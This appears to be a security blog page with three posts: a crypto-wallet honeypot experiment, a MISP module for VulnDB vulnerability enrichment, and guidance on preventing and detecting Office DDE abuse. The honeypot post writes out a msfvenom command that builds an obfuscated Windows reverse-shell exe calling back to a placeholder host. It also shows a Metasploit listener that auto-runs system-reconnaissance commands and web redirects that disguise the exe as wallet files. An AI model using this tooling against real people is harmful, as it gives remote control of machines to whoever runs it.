Stealing Cryptocurrency Wallet

SANS ISC posted a diary on 9 Fast and Easy Ways To Lose Your Crypto Coins and a report on scans for Bitcoin wallet files.

This started me thinking about setting up a simple honeypot, pretending to be a self-decompressing crypto wallet archive and see if criminals would actually open that file, hoping it to be an unprotected crypto wallet.

1. Announce a “wallet.dat” / “wallet.zip” on public dump sites;
2. Host the file on a public webserver;
3. Have a callback mechanism that informs me when the file is retrieved;
4. Have a callback mechanism that informs me when the file is opened.

The first three steps are easy to accomplish but the last step is more difficult. One of the most straightforward solutions to setup a call back is using Metasploit. It happens to be that I also needed to brush up my knowledge of the Metasploit framework so this seemed as a perfect opportunity.

Shift in exercise goals

A crypto wallet (essentially a secret key) is almost always protected with a passphrase. The absence of such a passphrase should be a dead give-away for an attacker that the file is not a crypto wallet. If this fact is ignored there still remains the obstacle that a simple verification (PE header, file info) will tell the downloader that the file is not a crypto wallet but an exe file.

I decided not to focus that much on the crypto wallet part and change the goal of the exercise : “do attackers(?) download files from untrusted sources and open these files on their desktop?”.

TL;DR : No, not a single user / attacker did this.

Setting up a callback via msfvenom

The first step is creating a file that connects back (creates a reverse shell) to a given IP address and network port. This is something that you can do with msfvenom.

I created an exe that opens a TCP shell to my control host on port tcp/443 (HTTPS). Some corporate networks allow outbound traffic on tcp/443 so this is a good choice, and better than for example port tcp/1234 or any other unusual port. One of the disadvantages is that the listener on tcp/443 will also capture ‘normal’ scan results for open webservers that have nothing to do with this experiment.

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=a.b.c.d LPORT=443 -b "\x00" -e x86/shikata_ga_nai -i 200 -f exe -o /tmp/1.exe 

The above command will generate an exe file that, if all goes as planned, will start a reverse shell on tcp/443 to the host a.b.c.d.

• -a 86 : create a payload for the x86 platform
• -p : the payload to use (a reverse TCP shell)
• -b : bad characters to avoid
• -e : the encoder to use (to do some basic obfuscation
• -i : the number of iterations the encoder has to run
• -f : the output format (an exe file)
• -o : the name of the output file

Note that you can use an existing exe to add the ‘exploit’ code to an exe template (you do this with the -x option).

When the resulting exe gets executed on a client, you basically get a reverse shell and can issue any command you like. For this exercise I only needed to grab the system information from which the exe was launched.

Using meterpreter to accept the reverse shell callbacks

The next thing we have to do is setting up Metasploit to listen to the incoming reverse shells. Because I did not want to monitor the reverse shell sessions manually this had to be an automated process :

• Execute information gathering commands upon connect;
• Restart listening for new reverse shell connections when the current connection is closed;
• Log the output to a text file.

Auto execute a script in Metasploit

First you have to create a file that will always be executed when a client connects (this is the information gathering part). The file can contain for example

sysinfo
ps
localtime
getuid
getsid
getwd
getproxy
getprivs

The above commands will return system information, running processes and current privileges on the remote client.

Execute Metasploit

Start the Metasploit console and the exploit multi handler

msfconsole
msf > use exploit/multi/handler

Output all information to a text file (in this case wallet.spool).

msf exploit(handler) > spool /home/ubuntu/wallet.spool

Set a reverse shell as payload and listen for incoming connections

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST a.b.c.d
msf exploit(handler) > set LPORT 443

Restart listening for a reverse shell when a connection is closed

msf exploit(handler) > set ExitOnSession false

Execute a script when a client connects

msf exploit(handler) > set AutorunScript multi_console_command -r /home/ubuntu/autoruncommands.rc

Start the listener

msf exploit(handler) > run -j

Publish and announce the file

I stored the file in the webserver directory and did a redirect for all requests for wallet.dat, wallet.zip to the file wallet.exe.

Redirect "/wallet.zip" "/wallet.exe"
Redirect "/wallet.dat" "/wallet.exe"
Redirect "/wallet_backup.dat" "/wallet.exe"
Redirect "/wallet_backup.dat.1" "/wallet.exe"
Redirect "/bitcoin_wallet.dat" "/wallet.exe"

I then announced the file on some public dump sites. And waited.

Waiting for connections

The file was retrieved 37 times in total. Remarkably, the first requests for the file where in minutes after publishing it in a dump site. These are probably crawlers that fetch possibly interesting information from dump sites. If you’re interested in these type of crawlers, have a look at AIL framework – Analysis Information Leak framework.

The browser identification strings (these can be easily falsified) were

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:57.0) Gecko/20100101 Firefox/57.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Mozilla/5.0 (compatible)
python-requests/2.7.0 CPython/2.7.5 Linux/3.10.0-514.el7.x86_64
python-requests/2.18.4
Wget/1.17.1 (linux-gnu)

But the final goal of the exercise was to see if there was a callback from a client that opened the file. I had the experiment running for 8 full days but not a single callback request came through.

Conclusion

Some of the requests were clearly scripted but other requests could have been done manually. I did not trace back from where the requests were done.

A conclusions is that attackers (at least the few that downloaded the file) do not blindly execute these files on their desktop, not even in a sandbox 😉 .

Extend MISP with modules

MISP, Malware Information Sharing Platform & Threat Sharing is a feature-rich platform for sharing threat intelligence information. You can extend MISP so that it integrates nicely with your own security solutions via the MISP module extensions. These MISP module extensions, https://github.com/MISP/misp-modules/, allow you to

• extend the MISP threat intelligence sharing platform without altering the core;
• connect and enrich the MISP information from other information providers;
• get started quickly without a need to study the internals of MISP.

I previously contributed a MISP module to import malware analysis information from VMRay : Submit malware samples to VMRay via MISP.

Vulnerabilities in threat information

The fourth phase of the Cyber Kill Chain, exploitation, often (but not always) makes use of a vulnerability in a system.

Identified vulnerabilities receive a CVE number. CVE or Common Vulnerabilities and Exposures is a list of common identifiers for publicly known cyber security vulnerabilities. You can track these CVE numbers via the MISP attribute vulnerability.

You can enrich the information on a CVE via the default CVE MISP module (from CIRCL) with data available from https://cve.circl.lu/api/cve/.

Next to the information from CIRCL, there are other information providers that can give more extensive information on a CVE number. One of these providers is VulnDB by Risk Based Security.

Important to note is that VulnDB not only gives you information based on a CVE identifier but also information on vulnerabilities that do not have a CVE. Additionally, the information that is provided by VulnDB based on a CVE gives you direct pointers to the mitigation measures and detection indicators.

VulnDB

VulnDB provides vulnerability intelligence via a web portal and via a RESTful API.

Although the web portal allows you to retrieve all details (ideal to get a first understanding on the scope of the vulnerability), the real power lies in the integration of the API data in your own ticketing system, GRC tools and threat information platform.

This is the information on vulnerabilities how it displayed in the VulnDB web interface. First you have an overview of all vulnerability records.

You can zoom in into a specific vulnerability and get CVSS and metrics information.

The detailed information contains data on the affected products and relevant vendor information.

The information that can be added to a MISP event based on a CVE identifier from VulnDB includes

• External references
  • News articles
  • Vendor information
  • Exploit information
  • Mailing list posts
  • Blog posts
• Products affected
• CPE information
• Dates when the vulnerability was reported, fixed or when an exploit was made available
• Description of the vulnerability
• Solution for the vulnerability
• Classification of the vulnerability
• CVSS scoring (from different sources)

The CPE information can be very valuable for large environments when it is tied to an inventory tool. CPE or Common Platform Enumeration allows you to identify what assets (OS, software packages, …) are subject to a given vulnerability.

I wrote a MISP module to integrate VulnDB with MISP via enrichment of a vulnerability attribute.

MISP module for VulnDB

Configuration

A pull request for the VulnDB MISP module is pushed to the MISP modules repository. It requires at least two parameters

• apikey : the API key;
• apisecret : the API secret.

These two parameters allow you to connect to the VulnDB API via OAuth2.

There are a couple of -optional- parameter to tune the integration of the data. Note that by default these parameters are set to ‘False’, meaning that the information is included in the enrichment.

• discard_dates : Include reporting the dates when the vulnerability was discovered, was reported to the vendor and when an exploit was made available;
• discard_external_references : Include external references like news article, vendor information, exploitdb information; This information is added as ‘links’ to the MISP event;
• discard_cvss : Include CVSS scoring;
• discard_productinformation : Include information on which product this vulnerability applies;
• discard_classification : Include the vulnerability classification reported by RBS;
• discard_cpe : Include CPE information; This information as the ‘cpe’ attribute to MISP.

Flow of the module

The module takes as input the vulnerability attribute and can return the attributes text (description of the vulnerability, dates, product information, CVSS, classification), links (the external references) and CPE information.

Enriching CVE information in MISP

Access to the VulnDB information is done via the enrichment option of MISP modules for the attribute ‘vulnerability’.

When you have selected the CVE identifier to lookup within VulnDB you can add the different attributes to include in the MISP event.

Sharing of information from VulnDB

The information that you add to the MISP events and retrieved through enrichment from VulnDB is subject to a license agreement.

This is something that you have to take into account when adding extra attributes to an event. When you add new information coming from VulnDB to a MISP event you have to make sure that you only share this with the sharing group that is defined in your license agreement with VulnDB. In practice this often means your organization or team. You can easily enforce this when defining either a new sharing group that contains your internal teams or limit sharing within your organization.

Also see (Auto)set distribution level of imported attributes.

Integrating the information coming from VulnDB into your own tools will prove valuable but as this is not ‘public’ information you have to make sure that you stay compliant with the VulnDB license. Reach out to your contact within VulnDB / Risk Based Security if you have any doubts.

My experience is that RBS is open to find a workable solution that allows you to make use of the information for internal purposes and still comply with the license model. This is also important for historical information that you added to MISP events and how to deal with this information once your VulnDB license expires. When in doubt, contact the people from RBS.

Workflow VulnDB and MISP

1. Your security team analyses a new malspam wave (for example a phishing e-mail containing a malicious file)
2. A new MISP event is created, containing the initial indicators from the e-mail
3. The malware attached is analysed in a sandbox (maybe via VMRay?)
4. The malware attributes (indicators) are added to the MISP event
5. The malware makes use of a known vulnerability (identified by CVE 123)
6. Your team extends the MISP event with the information from VulnDB, based on the CVE number. This information contains the patch information and the software that is targeted by the malware (this is the CPE info)
7. The MISP event now contains the CPE information and what needs to be done to be protected against the threat
8. Your team now knows how the vulnerability gets exploited and what targets are in scope
9. The MISP event is published and distributed within your organization
10. The detection team knows what signatures to write to detect the threat
11. New attack waves are detected via the sightings mechanism of MISP
12. Your incident response team knows what information to look for during an investigation
13. The patching team knows what assets are in scope and what assets need early patching

Conclusion

Sharing threat information is not only sharing indicators of compromise. It also includes sharing how these threat materializes and what vulnerability gets exploited. The information that is made available by VulnDB gives you detailed insight on the vulnerability and how it might affect your environment.

VulnDB is not free but you can request a demo and get product information via Risk Based Security.

Malware abusing Microsoft Office DDE features

SANS has reported on different malware attacks (Hancitor and Necurs) that abuse the Microsoft Office DDE feature. Similarly, Talos also reported on a malware campaign that used the same technique to get a first foothold in an organisation (DNSMessenger).

DDE is a Microsoft feature now superseded by OLE that allows applications to share data and memory. Usage of the feature does not require a macro and will not show the user a security warning. The only indication for a user is a popup of the Office document requesting to auto update links (if not properly done, the user can also get a warning that an extra application needs to be started). A detailed explanation on how to use DDE (via the DDEAUTO field) is available at https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/.

Note that the attack is not limited to Word or Excel, also Outlook (tasks, calendar invites, RTF e-mails) is vulnerable (and here). In essence the problem is even more serious in Outlook. There is no e-mail attachment to be scanned by the anti-virus. The abuse of the feature can be accomplished by sending a crafted RTF e-mail message.

Prevent and detect DDE abuse

Prevent DDE

You can easily prevent falling victim to malicious documents abusing the DDE feature by disabling it : Disable “update automatic links at open” in Word.

There is also a set of registry keys available, disabling DDE : https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b.

Appearantly the Microsoft Office Attack surface reduction (ASR) doesn’t provide protection (GUIDs BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550, D4F940AB-401B-4EFC-AADC-AD5F3C50688A)

Beware of legacy VBA applications that still rely on the DDE feature.

Prevent against DDE / DDEAUTO attack by micropatching

Update 25-Oct : The people from 0patch created a micropatch for different versions of MS Office (2007, 2010 ,2013, 2016 and 365 (32-bit and 64-bit builds) that protects you against malicious documents abusing this feature. The micropatch simulates a failed CreateProcess, effectively preventing opening a new application (remember, according to the specs “the application name shall be specified in field-argument-1; this application must be running.”).

Detect DDE

Detection of Office documents abusing the DDE feature can be done via a set of YARA rules published by Didier Stevens. Note that there are already reports of documents bypassing the YARA rules via embedding it in different XML tags.

You can also detect the execution of processes from MS Office via Windows event logging. See https://www.securityforrealpeople.com/2017/10/exploiting-office-native-functionality.html

Mindmap on DDE

I created a mindmap summarizing the above information. It is available via Github at https://github.com/cudeso/tools/tree/master/dde-attack.

Updates

• 25-Oct-2017 – 0patching the Office DDE / DDEAUTO Vulnerability… ehm… Feature
• 23-Oct-2017 – Blog showing YARA evasion technique
• 23-Oct-2017 – Added Outlook information

Mindmap on Hancitor and Necurs

For reference, not complete. See https://github.com/cudeso/tools/tree/master/botnets.

Sources

• Macro-less code exec in MS Word
• Talos – DNSMessenger SEC Campaign
• Detecting DDE in MS Office documents
• Exploiting Office native functionality
• MS Office DDE Malware Exploit
• Set of registry keys
• ISC SANS – Necurs
• ISC SANS – Hancitor
• Macroless DOC malware that avoids detection with YARA rules
• Office DDEAUTO attacks
• Using the DDE attack with Powershell Empire